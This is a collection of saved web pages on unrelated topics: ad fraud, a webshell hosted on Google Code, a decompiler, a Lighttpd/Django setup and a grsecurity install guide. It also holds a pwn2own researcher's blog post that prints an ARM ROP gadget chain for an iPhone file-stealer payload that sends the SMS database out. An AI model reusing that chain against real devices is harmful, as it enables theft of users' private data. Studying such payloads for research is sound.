featured.

But the placeholders are still preceded by ads. Kozy Shack pudding, Chevrolet,
Unilever, and various Procter & Gamble brands such as Tampax and Always have
all paid for the privilege. Boris says the checks he cashed came through an
affiliate program where Viant splits ad revenue with publishers who showed its
players.

Viant’s executives say they have an affiliate program, but they’ve never heard
of Boris or MyTopFace.com. They declined to name a single company that
participates in the program. Boris says he put the Myspace players on his
sites after being contacted by a middleman, whom he won’t name. “My balls will
be cut off,” he says.

<img src='img/Temp2_8000.png' width='440' height='337' />

Ad slots on MyTopFace.com run anywhere from 73¢ to $10 per 1,000 views.

Chris Vanderhook, Viant’s chief operating officer, says the company has
technology that checks for nonhuman traffic. “If a website has 80 or 90
percent bot traffic, then yes, we will try to remove this site from any ad
rotation,” he says. Yet Boris’s MyTopFace, which, again, according to the
estimates provided to _Bloomberg Businessweek_ , had between 74 percent and 94
percent nonhuman traffic, hasn’t been cut off. Vanderhook says that must mean
Viant’s software sees some value to it. If a website has a Myspace player
showing ads, he says, “we deemed that it was still quality enough to auction
off.”

Myspace’s placeholder videos appeared on about 100 websites in August,
according to Telemetry, a fraud-detection firm. If anything, some of the sites
are even more creative than MyTopFace. Take RealMovieTrailers.com. The site
lists a nonexistent address in New York as its headquarters. The phone number
doesn’t work. Image searches of its designers’ headshots reveal they’re stock
photos, reused hundreds of times around the Internet. The photo of one
designer, Roland Henry, also shows up on a Moroccan travel site as an ecstatic
customer named Mohammed Hijazi. Another, Henry Gardner, is on an erectile-
dysfunction-treatment page, where he’s an unnamed customer declaring it’s “the
absolute best.” The identity of RealMovieTrailers’ actual operators isn’t
clear; the site’s address is registered anonymously, and no one responded to
an e-mail sent to an address listed on the site.

In September, after _Bloomberg Businessweek_ asked Viant about its content,
Myspace players began showing non-placeholder videos. But if the counters
embedded in the players are accurate, those placeholders are some of the most
watched clips in Internet history. _Hitboy_ has amassed 690 million views.
Even bigger is _Surfing_ , which looks like someone butt-dialed a video: five
seconds of black screen with some muffled background noise. According to the
Myspace counter, _Surfing_ has been viewed 1.5 billion times. That would make
it bigger than any YouTube video in history—with the exception of _Gangnam
Style_.

<img src='img/bannerdivider2.gif' width='1000' height='400' />

Programmatic advertising has become such a tangle of data firms, marketing
firms, strategy firms, and ad tech companies that it can be hard even for the
biggest brands to keep track of it all. Three years ago executives at Kellogg
started to notice that spots for Cheez-It, Pop-Tarts, and Special K were
running on sketchy websites, hidden in pop-under windows, or compressed into
screens as tiny as a single pixel. Others were displayed on sites where much
of the “audience” was bots. “It turns out I’m buying from this guy down the
street who opens up his coat and says, ‘Hey, you want to buy some ads?’ ” says
Jim Kiszka, the food company’s senior manager for digital strategy.

The situation became more infuriating when Kellogg tried to get a simple
breakdown: How much was each part of the labyrinthine digital-ad process
costing? Answers were impossible to come by. Kellogg asked for itemized bills
from the various ad agencies and data companies it hired, but they all
refused. “It wasn’t a smoking gun,” Kiszka says. “It was more like a detective
story where you had to piece together the evidence. And it was clear that in a
system with that little transparency, there was bound to be problems.”

In response, Kellogg’s in-house ad department assumed control of its contracts
with publishers and ad platforms such as Google and Yahoo, removing the
agencies from the process. Kellogg started using software that alerted it when
ads ran on suspect sites and refused to do business with any sites that
wouldn’t allow third-party validators to screen for bad traffic. Kiszka says
the company has seen a 50 percent to 75 percent drop in bot traffic and a
significant jump in its return on investment in advertising for Raisin Bran
and Corn Flakes.

## Bot Traffic by Domain Category

  
<img src='img/Temp2_7991.png' width='300' height='308' />  

Source: _The Bot Baseline: Fraud In Digital Advertising_ by White Ops, Inc.

Ad fraud may eventually turn into a manageable nuisance like shoplifting,
something that companies learn to control without ever eradicating.
Advertisers generally see lower levels of fraudulent traffic by dealing
directly with publishers rather than using programmatic exchanges. Of course,
that also means missing out on the scale that automation provides. Sites such
as Facebook, with its billion-plus users, are relatively bot-free, if
expensive, places to run an ad. Earlier this year, Facebook said advertisers
would have to pay only when their ads are actually seen by humans.

There’s also the possibility that the multitudes of smaller ad tech players
will get serious about sanitizing their traffic. Walter Knapp, CEO of Sovrn
Holdings, a programmatic exchange, says he was as alarmed as anyone at the
rise of ad fraud. He decided it was a matter of survival. “There are 2,000 ad
tech companies, and there is maybe room for 20,” he says. “I looked around and
said, ‘This is bulls---.’ ”

About 18 months ago, he set to figuring out how much of his inventory—ad
spaces for sale—was fake. The answer mortified him: “Two-thirds was either
fraud or suspicious,” he says. He decided to remove all of it. “That’s $30
million in revenue, which is not insignificant.” Sovrn’s business eventually
returned to, and then surpassed, where it was with the bad inventory. Knapp
says his company had a scary few months, though, and he keeps part of a molar
on his desk as a memento. “I was clenching it so hard, I cracked it in half,”
he says.

He dismisses the idea that it’s hard to tell genuine traffic from fake. “The
whole thing about throwing your hands in the air and saying, ‘I don’t know,
maybe it’s real, maybe it’s not real,’ ” he says. “You can absolutely find
out.” He sees it the way Supreme Court Justice Potter Stewart saw smut. “How
can you tell it’s porn? You know it when you see it,” Knapp says. “Like, go to
the website, man.”<img src='img/Temp2_7997.png' width='50' height='23' />

_\(Correction: Changes description of SiteScout in the 20th paragraph.\)_

**Design Credits:**  
Stephanie Davidson  
Dorothy Gambrell  
Adam Pearce  

  

# The Ultimate BlackHat Tool Kit hosted by Google Code - Security Labs

**Created:**| _9/16/2010 9:45:24 AM_  
---|---  
**Updated:**| _9/16/2010 9:46:01 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis_  
  

The Ultimate BlackHat Tool Kit hosted by Google Code  

**Posted:** 09 Sep 2010 06:00 AM

Last week, the media picked up that the Google Code project Web site is used
to host malicious files. I decided to have a look at what kinds of malicious
Web-based code Threatseeker has detected on the site. In particular, one
interesting example came up: one of the pages hosted on Google Code was a PHP-
based Web console code - you might ask, what's a Web console? It's a Web tool
that enables its user to control remote shells - it's like telling a remote-
controlled host what to do via the Web. So the one we've got is certainly one
used by the baddies and is known by the name of "r57shell". \(I just want to
be clear that remote PHP shells can be used by black-hats and also by
penetration testers. This variant was developed by the black-hat community and
is also known to be backdoored, which means that some versions are planted
with backdoor code, so users of this software themselves are exposed to an
attack.\)

Here are some screen-shots of the Web console code and the various options it
offers.

This code is located at:
http://\[removed\].googlecode.com/svn/\[removed\]/webshells/r57shell.php:

<img src='img/Temp2_8331.jpg' />

<img src='img/Temp2_8335.jpg' />

When browsing the project's SVN, a whole set of penetration and black hat
tools is revealed, of which some are also Trojan files:

<img src='img/Temp2_8330.jpg' />

It looks like the person that initiated this project tried to stay anonymous,
as every link to the author's Web site was inactive. However, looking at the
Wiki page of the project revealed some interesting information:

<img src='img/Temp2_8332.jpg' />

The repository also contains a text file with a list of 50,000+ compromised
MySpace accounts; below is a screenshot of a small part of it. However, this
list hosted by Google isn't new, as it has been circulating from around 2007
in the underground black-hat community and initially sold for a price, until
it surfaced and revealed by the white-hat community:

<img src='img/Temp2_8334.jpg' />

One of the staggering facts is that this project has been hosted on Google
Code since 2007 \(last updated on Februrary 2010\):

<img src='img/Temp2_8333.jpg' />

In conclusion, we saw that the Google Code Web site isn't just used to host
malicious files, but is also used to host malicious Web content and tools.
Abusing Google's services isn't new: with so many offered services as a
platform, it follows that attackers will naturally use and abuse it, but it
certainly looks like it doesn't have to be through the back door. Coming
though the front one can also be an easy option.

# C4Decompiler — Making Sense of Machine Code

**Created:**| _9/27/2013 11:10:42 AM_  
---|---  
**Updated:**| _9/27/2013 11:10:42 AM_  
**Author:**| __  
**Tags:**| _Decompiler visualstudio_  
  

# **C** 4Decompiler — Making Sense of Machine Code****

<img src='img/Temp2_1269.png' alt='Screenshot-1-440x300' />

  * A general, interactive Machine Code to C Decompiler
  * Free Intel 64 bit edition \(Alpha\)
  * Runs on Windows

## Features****

**The features are implemented, but do not work reliable in the current Alpha
state**.****

### Global Analysis****

While function analysis alone provides information of the function’s control
flow, only global program analysis can reveal the full details of the
function’s interaction with the program**.**

### Type Detection and Propagation****

Data types are deduced from operations performed on the data and then
propagated and synchronized globally**.**

### Full Data Flow Analysis****

Machine code has to work around CPU characteristics like the limited number of
registers or operator location restrictions**.** Full data flow analysis
facilitates the elimination of irrelevant data transfers and provides clear
and short C code**.**

### Machine Code to C****

The low level features of C allow expressing most machine code functions in C.
It is not relevant if the function was initially written in C or any other
stack frame based language, including Assembler**.**

### Interactive****

Static decompilation has its limits and needs user guidance to provide missing
context**.** Interactive manipulations, directly at the source allow you to
guide the decompilation process**.** E.g. change a function’s ABI to restrict
its return value locations or add missing destinations to a computed call**.**

### No Compiler Detection****

Global analysis provides the information to make compiler based assumptions
obsolete**.** General compiler patterns are only employed as a last resort to
resolve situations where information are missing, e.g. both, a called
function’s code and its signature are not available**.**

### Function Signatures Library****

Detection of known functions from static compiler libraries shortens the
decompile process and introduces additional type information**.** The build-in
signature generator enables the user to extend the library with required
signatures**.**

****

# ROP and iPhone « blog.zynamics.com

**Created:**| _4/21/2011 10:16:07 AM_  
---|---  
**Updated:**| _4/21/2011 10:16:07 AM_  
**Author:**| __  
**Tags:**| _Debugging mobile/embedded rop binnavi_  
  

## ROP and iPhone

By Vincenzo Iozzo

As you might know I and Ralf-Philipp Weinmann from University of Luxembourg
won pwn2own owning the iPhone.

Smartphones are different beasts compared to desktops when it comes to
exploitation. Specifically the iPhone has a fairly important exploitation
remediation measure, code signing, which makes both exploitation and debugging
quite annoying and definitely raises the bar when it comes to writing
payloads.

What smartphones usually miss, and that is the case for iPhone as well, is
ASLR. Add up the two and we have the perfect OS on which to use ROP payloads.

We are not authorized to talk about the exploit itself as it is being sold to
ZDI, nonetheless we want to give a brief explanation on the payload because to
the best of our knowledge it is the first practical example of a weaponized
payload on ARMv7 and iPhone 3GS.

In order to decide what kind of payloads we want to write, another security
countermeasure has to be taken into account, namely Sandboxing.

On iPhone most applications are sandboxed with different levels of
restrictions. The sandboxing is done in a kernel extension using the MAC
framework. A few well-known syscalls are usually denied\(execve\(\) to name
one\) and normally access to important files is restricted. One last important
thing to notice is that the iPhone doesn’t have a shell, so that is not an
option for our payload.

Luckily we are able to read files like the SMS database, the address book
database and a few others containing sensitive information \(this depends on
the specific sandbox profile of the application\).

A few notions are needed to be able to write ARM payloads, a lot of good
information on the topic can be found here. I will nonetheless outline the
basics needed below.

The first thing one has to understand before writing a ROP payload is the
calling convention used in iPhoneOS.

For iPhone the first four arguments are passed using r0-r3 registers. If other
arguments are needed those are pushed onto the stack. Functions usually return
to the address pointed by the LR register so when we write our payload we need
to make sure that we control LR.

Another important difference between ARM ROP payloads and x86 ROP payloads are
instruction sizes.

In ARM there are only two possible sizes for instructions: 4 bytes or 2 bytes.
The second type is called THUMB mode. To access THUMB instructions one has to
set the program counter to addresses that are not 4-bytes aligned, this will
cause the processor to switch to THUMB mode. More formally the processor will
switch to THUMB mode when the T bit in the CPSR is 1 and the J bit is 0.

Starting from ARMv7 a “hybrid” mode was introduced, THUMB2. This mode supports
both 32bits and 16bits instructions \(the switch between 32 bits and 16 bits
is done following the same criteria explained before for THUMB\).

One last thing has to be noticed is that usually functions are called through
b/bl/blx instructions, when writing our payload we are almost always forced
not to use bl and blx. In fact those two instructions will save the next
instructions into the lr register, thus we lose control over the program flow.

I won’t describe in details the concepts behind ROP as there is plenty of
literature available. Tim is writing about ROP on ARM in our blog as well.

I will instead try to outline what important steps are needed when it comes to
writing an ARM ROP payload on the iPhone.

In our exploit we know that some data we control lies in r0. The first thing
we want to achieve is to control the stack pointer. So we have to find a
sequence that allows us to switch the stack pointer with a memory region we
control. We do this in two stages:

[code]

    6a07 ldr r7, [r0, #32]
    f8d0d028 ldr.w sp, [r0, #40]
    6a40 ldr r0, [r0, #36]
    4700 bx r0
    
    // r0 is a pointer to the crafted data structure used in the exploit. We point r7 to our crafted stack, and r0 to the address of the next rop gadget.
    // The stack pointer points to something we don't control as the node is 40 bytes long. So we just to another code snippet which will put us in control of SP.
    
    f1a70d00 sub.w sp, r7, #0 ;0x0
    bd80 pop {r7, pc}
    
[/code]

Now that we control the stack pointer we can take a closer look at our
payload.

A file stealer payload should in principle do the following:

  1. Open a file
  2. Open a socket
  3. Connect to the socket
  4. Get the file size \(using for instance fstat\(\)\)
  5. Read the content of the file \(in our case by mmaping it into memory\)
  6. Write the content of the file to the remote server
  7. Close the connection
  8. Exit the process/continue execution

This is quite a long list for a ROP shellcode therefore we are not going to
discuss each and every step, but just highlight some that are very important.

The first thing our payload needs to do is to control the content of lr
register, a gadget that allows us to do so is:

[code]

    e8bd4080 pop {r7, lr}
    b001 add sp, #4
    4770 bx lr
    
[/code]

Next we will see an example of how a function can be called using ROP on ARM.
We take as an example mmap\(\) because it has more than 4 arguments therefore
it is a bit trickier:

[code]

    ropvalues[i++] = 0x00000000; //r4 which will be the address for mmap
    ropvalues[i++] = 0x00000000; //r5 whatever
    ropvalues[i++] = 0x000000000; //r8 is gonna be the file len for mmap
    ropvalues[i++] = 0x000000002; //r9 MAP_PRIVATE copied in r3
    ropvalues[i++] = 0x32988d5f; // PC
    //32988d5e bd0f pop {r0, r1, r2, r3, pc}
    
    ropvalues[i++] = locFD - 36; // r0 contains the memory location where the FD is stored
    ropvalues[i++] = locStat +60;	// r1 struct stat file size member
    ropvalues[i++] = 0x00000001; // r2 PROT_READ
    ropvalues[i++] = 0x00000000; // r3 is later used to store the FD in the following gadget
    ropvalues[i++] = 0x32979837;
    //32979836 6a43 ldr r3, [r0, #36]
    //32979838 6a00 ldr r0, [r0, #32]
    //3297983a 4418 add r0, r3
    //3297983c bd80 pop {r7, pc}
    ropvalues[i++] = sp + 73*4 + 0x10;
    ropvalues[i++] = 0x32988673;
    //32988672	 bd01	pop	{r0, pc}
    ropvalues[i++] = sp -28; //r0 has to be a valid piece of memory we don't care about(we just care for r1 here)
    ropvalues[i++] = 0x329253eb;
    //329253ea 6809 ldr r1, [r1, #0]
    //329253ec 61c1 str r1, [r0, #28]
    //329253ee 2000 movs r0, #0 //this will reset to 0 r0 (corresponding to the first argument of mmap())
    //329253f0 bd80 pop {r7, pc}
    ropvalues[i++] = sp + 75*4 + 0xc; //we do this because later SP will depend on it
    ropvalues[i++] = 0x328C5CBd;
    //328C5CBC STR R3, [SP,#0x24+var_24]
    //328C5CBE MOV R3, R9 //r9 was filled before with MAP_PRIVATE flag for mmmap()
    //328C5CC0 STR R4, [SP,#0x24+var_20]
    //328C5CC2 STR R5, [SP,#0x24+var_1C]
    //328C5CC4 BLX ___mmap
    //328C5CC8 loc_328C5CC8 ; CODE XREF: _mmap+50
    //328C5CC8 SUB.W SP, R7, #0x10
    //328C5CCC LDR.W R8, [SP+0x24+var_24],#4
    //328C5CD0 POP {R4-R7,PC}
    
    ropvalues[i++] = 0xbbccddee;//we don't care for r4-r7 registers
    ropvalues[i++] = 0x00000000;
    ropvalues[i++] = 0x00000000;
    ropvalues[i++] = 0x00000000;
    ropvalues[i++] = 0x32987baf;
    //32987bae bd02 pop {r1, pc}
    
[/code]

This payload snippet roughly traslates to:

[code]

    mmap(0x0, statstruct.st_size, PROT_READ, MAP_PRIVATE, smsdbFD, 0x0);
    
[/code]

What we had to do here is to store the arguments both inside the registers
\(the easy part\) and to push two of them onto the stack.

Pushing arguments on the stack creates an extra problem when writing a ROP
payload because we have to make sure our payload is aligned with the stack
pointer, this is why we to craft r7 in a specific way in line 26.

Finally we pop the program counter and jump to some other instructions in
memory.

Having seen this payload one may wonder how to find the proper gadgets in the
address space of a process.

As said before iPhone doesn’t have ASLR enforced which means that every
library mapped in the address space is a possible source of gadgets.

There are some automated tools to find those gadgets and compile them to form
a ROP shellcode on x86. Unfortunately that is not the case for ARM. Our co-
worker Tim maintains and develops a great tool written for his thesis that can
ease the process of finding gadget on ARM and he is currently working on
extending the tool to compile \(or better combine\) gadgets to form valid
shellcode.

As far as we know no techniques to disable code signing “on the fly” have been
found on the latest firmware of iPhone.

It is therefore important for anyone trying to exploiting an iPhone
vulnerability to learn ROP programming.

One last thing has to be said: the iPhone security model is pretty robust as
it is now.

If it would ever support ASLR attacking it will be significantly harder than
any desktop OS. In fact, most applications are sandboxed which greatly limits
their abilities of doing harm and code signing is always in place. ASLR will
limit the ability of creating ROP payloads and there are neither Flash nor a
JIT compiler to play with on the iPhone;\)

Finally if you are interested in iPhone hacking you should attend the class
that I am going to give together with Dino Dai Zovi at Black Hat USA. It will
be on Mac OS X hacking but most of the teaching material can be used on iPhone
as well\!

Cheers,  
Vincenzo

# Payload Already Inside: Data re-use for ROP Exploits

**Created:**| _8/13/2010 11:44:54 AM_  
---|---  
**Updated:**| _8/13/2010 11:45:18 AM_  
**Author:**| __  
**Tags:**| _Exploit conference-material rop_  
  
<img src='img/Temp2_6174' />

# Dr. Fu's Security Blog: Malware Analysis Tutorial 2 - Ring3 Debugging

**Created:**| _1/3/2012 4:15:40 PM_  
---|---  
**Updated:**| _1/3/2012 4:15:40 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis Tutorial 2 - Ring3 Debugging

**Learning Objectives:**  

  * Efficiently master a Ring3 debugger such as Immunity Debugger
  * Can control program execution \(step in, over, breakpoints\)
  * Can monitor/change program state \(registers, memory\)
  * Comments annotation in Immunity Debugger 

**This tutorial can be used as a lab module in**  

  * Computer architecture
  * Operating systems
  * Discrete Maths \(number system\)

**1\. Introduction**  
  
To reverse engineer a malware, a quality debugger is essential. There are two
types of debuggers: user level debuggers \(such as OllyDbg, Immunity Debugger,
and IDA Pro\), and kernel debugger \(such as WinDbg, SoftIce, and Syser\). The
difference between user/kernel level debuggers is that kernel debuggers run
with higher privilege and hence can debug kernel device drivers and devices,
while user level debuggers cannot. It is well known that modern OS such as
Windows relies on the processor \(e.g., Intel CPU\) to provide a layered
collection of protection domains. For example, on a typical Intel CPU,
programs can run in four modes, from ring0 \(kernel mode\) to ring3 \(user
level\). In this case, we also call user level debuggers "ring3 debuggers".  
  
A natural question you might have is: Since ring0 debuggers are more powerful
than ring3 debuggers, why not use ring0 debuggers directly? Well, there is no
free lunch as always. Ring3 debuggers usually come with a nice GUI which can
greatly improve the productivity of a reverse engineer. Only when necessary,
we'll use the command-line ring0 debuggers \(such as WinDbg\). There is one
exception though - recently, IDA Pro has introduced a GUI module which can
drive WinDbg for kernel debugging. This is a nice feature and you'll have to
pay for it.  
  
In this tutorial, we assume that you would like to use open-source/free
software tools. The following is a combination of debuggers we'll use
throughout the tutorial: **_Immunity Debugger_** \(_IMM_ for short\) and
**_WinDbg_**.  
  
**2\. Brief Tour of IMM**  
  
Now we will have a brief introduction of IMM. If you have not installed your
Virtual Machine test bed, check out the first tutorial Malware Analysis
Tutorial - A Reverse Engineering Approach \(Lesson 1: VM Based Analysis
Platform\) for setting up the experimental platform.  
  
  
﻿﻿﻿  
<img src='img/Temp2_2403.jpg' width='400px' height='300px' />  
---  
Figure 1. Screenshot of IMM  
﻿﻿﻿  
As shown in Figure 1, from left-top anti-clockwise, we have the CPU pane
\(which shows the sequence of machine instructions and user comments\), the
Register pane \(which you can watch and modify the values of registers\), the
Stack pane and the Memory dump. Before we try to reverse engineer the first
section of Max++, it is beneficial to learn how to use the short-cut keys in
the debugger efficiently.  
  
In general, to use a debugger efficiently, you need to know the following :  

  1. How to control the execution flow? \(**F8** \- step over, **F7** \- step in, **F9** \- continue, **Shift+F9** \- continue and intercept exceptions\)
  2. How to examine data? \(In Memroy pane: **right click - > binary -> edit**, in Register pane: right click -> edit\)
  3. How to set breakpoints? \(**F2** for toggle soft-breakpoint, **F4** \- run to the cursor, right click on instruction -> Breakpoint -> for **hardware and memory access point**\)
  4. Annotation \(**;** for placing a comment\)

Most of the above can be found in the Debug menu of the IMM debugger, however,
it's always beneficial to remember the shortcut keys. We now briefly explain
some of the functions that are very useful in the analysis.  
  
**2.1 Execution Flow Control**  
  
The difference between step over/step in is similar to all other debuggers.
Step in \(F7\) gets into the function body of a Call instruction. Step over
\(F8\) executes the whole function and then stops at the next immediate
instruction. Notice that F8 may not always get you the result you desire --
many malware employ anti-debugging techniques and use return-oriented
programming technique to redirect program control flow \(and the execution
will never hit the next instruction\). We will later see an example in Max++.  
  
F9 \(continue\) is often used to continue from a breakpoint. Notice that the
debugger automatically handles a lot of exceptions for you. If you want to
intercept all exceptions, you should use **SHIFT+F9**. Later, we will see an
example that Max++ re-writes the SEH \(structured exception handler\) to
detect the existence of debuggers. To circumvent that anti-debug trick, you
will use SHIFT+F9 to manually inspect SEH code.  
  
**2.2 Data Manipulation**  
  
In general, you have three types of data to manage: \(1\) registers, \(2\)
stack, and \(3\) all other segments \(code, data, and heap\).  
  
To change the value of a register, you can right click on the register and
select Edit to change its value. Notice that when a register contains a memory
pointer \(the address of a memory slot\), it is very convenient to right click
on it and select "**Follow in Dump** " or "**Follow in Stack** " to watch its
value.  
  
The design of IMM does not allow you to directly change the value of EIP
register in the Register pane. **However, it is possible to change EIP using
the Python shell window.** We leave it as a homework question for you to
figure out how to change EIP.  
  
In the Memory Dump pane, select and right click on any data, and then select
**Binary- >Edit**. You can enter data conveniently \(either as a string or
binary number\).  
  
You are able to reset the code \(as data\). In CPU pane, right click and
select "**_Assemble_** ", you can directly modify the code segment by typing
assembly instructions\! You can even modify a program using this nice feature.
For example, after modifying the code segment, you can**save the modified
program using the following approach:**  
  
\(1\) Right click in CPU pane  
\(2\) Copy to Executable  
\(3\) Copy All  
\(4\) Close the dialog window \(list of instructions that are modified\)  
\(5\) Then a dialog asking for "save the file" pops. Select "yes" and save it
as a new executable file.  
  
**2.3 Breakpoints**  
  
Software breakpoints \(F2\) are the post popular breakpoints. It is similar to
the breakpoints available in your high-level language debuggers. You can have
an unlimited soft breakpoints \(BPs\) and you can set conditions on a soft BP
\(e.g., to specify that the BP should stop the program only when the value of
a register is equal to a certain number\).  
  
Soft BPs are implemented using the **INT 3** instruction. Basically, whenever
you set a breakpoint at a location, the debugger replaces the FIRST byte of
that instruction with INT 3 \(a one-byte instruction\), and saves the old
byte. Whenever the program executes to that location, an interrupt is
generated and the debugger is called to handle that exception. So the debugger
can then perform the condition check on the breakpoint and stop the program.  
  
Hareware breakpoints can be set by right click in the CPU pane and then select
**Breakpoints - > Hardware, on execution**. Notice that there are two other
types hard BPs availalbe \(**memory read** , **memory access**\). As its name
suggests, hard BPs are accomplished by taking advantage of hardware. On a
Intel CPU, there are four hardware BP registers which records the location of
hard BPs. This means that at any time, you can have **up to 4 hard BPs**.  
  
Hardware BPs are very useful if you need to find out which part of the code
modifies a variable. Just set a memory access BP on it and you don't have to
look over the entire source code to find it out.  
  
**2.4 User Annotation**  
  
Although seemingly trivial, user comments and annotation is a very important
function during a reverse engineering effort. In the CPU pane, pressing "**;**
" allows you to add a comment to a machine instruction and pressing "**:** "
allows you to label a location. Later when the location is referred to as a
variable or a function, its label will be displayed. This will greatly ease
the process of analysis.  
  
**3\. Challenges of the Day**  
  
It's time to roll-up your sleeves and put all we have learned into practice\!
The objective today is to analyze the code snippet from 0x413BC8 to 0x413BD8.
Answer the following questions. We will post the solution to these questions
in the comments area.  
  
Q1. What is the value of EAX at 0x413BD5 \(right before int 2d is executed\)?  
Q2. Is the instruction "RET" at 0x413BD7 ever executed?  
Q3. If you change the value of EAX to 0 \(at 0x413BD5\), does it make any
difference for Q2?  
Q4. Can you change the value of EIP at 0x413BD5 so that the int 2d instruction
is skipped?  
Q5. Modify the int 2d instruction at \(0x413BD7\) to "NOP" \(no operations\)
and save the file as "max2.exe". Execute max2.exe. Do you observe any
difference of the malware behavior? \(check tutorial 1 Malware Analysis
Tutorial - A Reverse Engineering Approach \(Lesson 1: VM Based Analysis
Platform\) for monitoring the network traffic\)  

# HOWTO: Installing Grsecurity patched kernel in debian/ubuntu | tuxmachines.org
**Created:**| _12/20/2009 11:08:02 AM_  
---|---  
**Updated:**| _12/20/2009 11:08:12 AM_  
**Author:**| __  
**Tags:**| _setup Linux_  
  

Source: http://evolution-security.com

This is based on the same walkthrough I posted for grsecurity on red hat based
kernels except this is for debian based kernels. The current stable debian
kernel is vulnerable to about all of the new local exploits and if you are
running the 2.4 kernel you are vulnerable to even more. Debian even had one of
their servers hacked with the local root exploits, they only released a
patched kernel for the testing branch to my knowledge.  
The PDF version can be found HERE.  
Ok so here goes.

If you have not done any compiling or built any kernels you must get the
packages needed.

`sudo apt-get install build-essential bin86 kernel-package`

`sudo apt-get install libqt3-headers libqt3-mt-dev (needed for make xconfig)`

First get what is needed and patch the kernel.  
`  
cd /usr/src`  
`  
wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.17.7.tar.bz2`

`wget http://grsecurity.org/grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz`

`tar -xjvf linux-2.6.17.7.tar.bz2`

`  
gunzip < grsecurity-2.1.9-2.6.17.7-200607261817.patch.gz | patch -p0`  
`  
mv linux-2.6.17.7 linux-2.6.17.7-grsec`

`ln -s linux-2.6.17.7-grsec linux`

`cd linux`

copy your current config over

do uname -r to see what kernel your running and copy it, example:  
`  
cp /boot/config-2.6.15-26-686L .config`

\*Configure the kernel:

`sudo make xconfig`

if you are doing this on a server use makeconfig

make sure you select the basic stuff that is needed, iptables, your processor
type, and then go in Security Options and to grsecurity, select which level of
security you want and any other options you may want.

\*In a terminal make sure you are in /usr/src/linux with full root access.

We will build a ".deb" file that can be installed in our Ubuntu system, using
make-kpkg.

\*In a terminal type:

`make-kpkg clean`

`make-kpkg -initrd --revision=ck2 kernel_image`

If there wasn't errors this will build the kernel and a ".deb" file will be
created at /usr/src.  
\*To install it:

`sudo dpkg -i kernel-image-2.6.17*.deb`

Now reboot and if you did everything correctly it should boot back up and you
will be using the new grsecurity kernel.

# LightyFcgi - django-hosting.de

**Created:**| _1/12/2010 7:49:56 PM_  
---|---  
**Updated:**| _1/12/2010 7:50:04 PM_  
**Author:**| __  
**Tags:**| _python programming Django_  
  

  * <img src='img/Temp2_4930.gif' alt='Login' />
  * <img src='img/Temp2_4926.gif' alt='Feed' />
  * <img src='img/Temp2_4928.gif' alt='Comment Feed' />

# django-hosting.de

  * Zur Startseite
  * Alle Seiten
  * Diese Seite bearbeiten
  * Diese Seite diskutieren \(0\)

# Django mit Lighttpd und mod\_fastcgi betreiben

Lighttpd ist ein Webserver, welcher Resourcen schont und für hohe Lasten
optimiert ist. Mittels `mod_fastcgi` kann man Django Applikationen betreiben.
In Version 1.5 wird eventuell bald WSGI als mögliches Protokoll implementiert.

Django läuft in diesem Fall als eigener Prozess, wobei es zwei grundsätzliche
Methoden gibt diese\(n\) Prozess\(e\) zu starten:

>   * Lighttpd startet den Django Daemon.
>   * Ein \(Init-\)Script startet den Django Daemon.
>

Ersteres ist auf jeden Fall die unkompliziertere Methode, da man sich um
weniger kümmern muss. Allerdings ist man dafür auch etwas in der Flexibilität
eingeschränkt.

Es gibt zwei unterschiedliche Methoden wie Lighttpd mit Django kommuniziert:

>   * Per TCP/IP Socket. Vorteil: Django kann sogar auf einem anderem Server
> laufen als Lighttpd. Lighttpd kann sogar ein Loadbalancing über mehrere
> Django Backend-Server machen, so dass hier kein Flaschenhald entsteht.
>   * Per Unix-Socket. Dieses Verfahren wird man wohl wählen, wenn Django auf
> dem selben Server Lighttpd läuft und zudem Lighttpd das starten des Django
> Daemons übernimmt.
>

\[...\]

Hier ein paar Listings meiner Konfiguration mit Django und Lighttpd, zuerst
der entscheidende Teil aus der `lighttpd.conf`:

[code]

    fastcgi.server = (
            "/app.fcgi" => (
                    "main" => (
                            "socket" => "/tmp/app.sock",
                            "check-local" => "disable",
                    )
            ),
    )
    
    alias.url = (
            "/media/" => "/usr/lib/python2.4/site-packages/django/contrib/admin/media/",
            "/static/" => "/srv/http/",
            "/favicon.ico" => "/srv/http/www.example.com/favicon.ico",
    )
    
    url.rewrite-once = (
            "^(/media.*)$" => "$1",
            "^(/static.*)$" => "$1",
            "^(/favicon.ico)$" => "$1",
            "^(/.*)$" => "/app.fcgi$1",
    )
    
    
[/code]

`app.fcgi` ist hier, ander als beim ApacheModWsgi Setup, keine Datei, sondern
nur wird nur als Name intern im Lighttpd benutzt um den Request zu routen.
Eigentlich muss man diese Konfiguration von unten nach oben lesen. Mit
`url.rewrite-once` wird zunächst festgelegt, welche URLs wie bearbeitet werden
sollen. Alle URLs, die weder mit `/media` oder `/static` beginnen und nicht
`/favicon.ico` lauten werden an `app.fcgi` weitergeleitet. Im Block
`alias.url` wird festgelegt, dass `/media/` auf auf die Admin Media Daten
zeigt, diese URL enspricht also `settings.ADMIN_MEDIA_PREFIX`. URLs die mit
`/static` beginnen zeigen auf das `MEDIA_ROOT` der Applikation und entsprechen
somit `settings.MEDIA_URL`.

Zu guter Letzt sei bemerkt, dass in diesem Beispiel Lighttpd über einen Unix-
Socket \(`/tmp/app.sock`\) mit Django kommuniziert. Der Django Prozess wird
auÃerdem nicht vom Lighttpd verwaltet \(gestartet/gestoppt\) sondern von
einem externen Script, welches bei mir so aussieht:

[code]

    #! /bin/bash
    
    WD=/home/users/www.example.com/myproject
    PIDFILE=${WD}/app.pid
    PYTHON=/usr/bin/python2.4
    SOCKET=/tmp/app.sock
    
    case "$1" in
            start)
                    $PYTHON $WD/manage.py runfcgi socket=$SOCKET daemonize=true method=prefork pidfile=$PIDFILE
                    sleep 3
                    chmod a+rwx $SOCKET
                    ;;
    
            stop)
                    kill `cat $PIDFILE`
                    ;;
    
            restart)
                    $0 stop && $0 start
                    ;;
    
            *)
                    echo "Usage: $0 {start|stop|restart}"
                    ;;
    esac
    exit 0
    
    
[/code]

Sollen Lighttpd und Django statt über einen Unix-Socket lieber per TCP/IP
kommunizieren, damit Django z.B. auf einem extra Server laufen kann, ändert
sich eigentlich nicht viel. In der Lighttpd Konfiguration sieht der
`fastcgi.server` Block dann so aus:

[code]

    fastcgi.server = (
            "/app.fcgi" => (
                    "main" => (
                           "host" => "192.168.100.5",
                            "port" => 9111,
                            "check-local" => "disable",
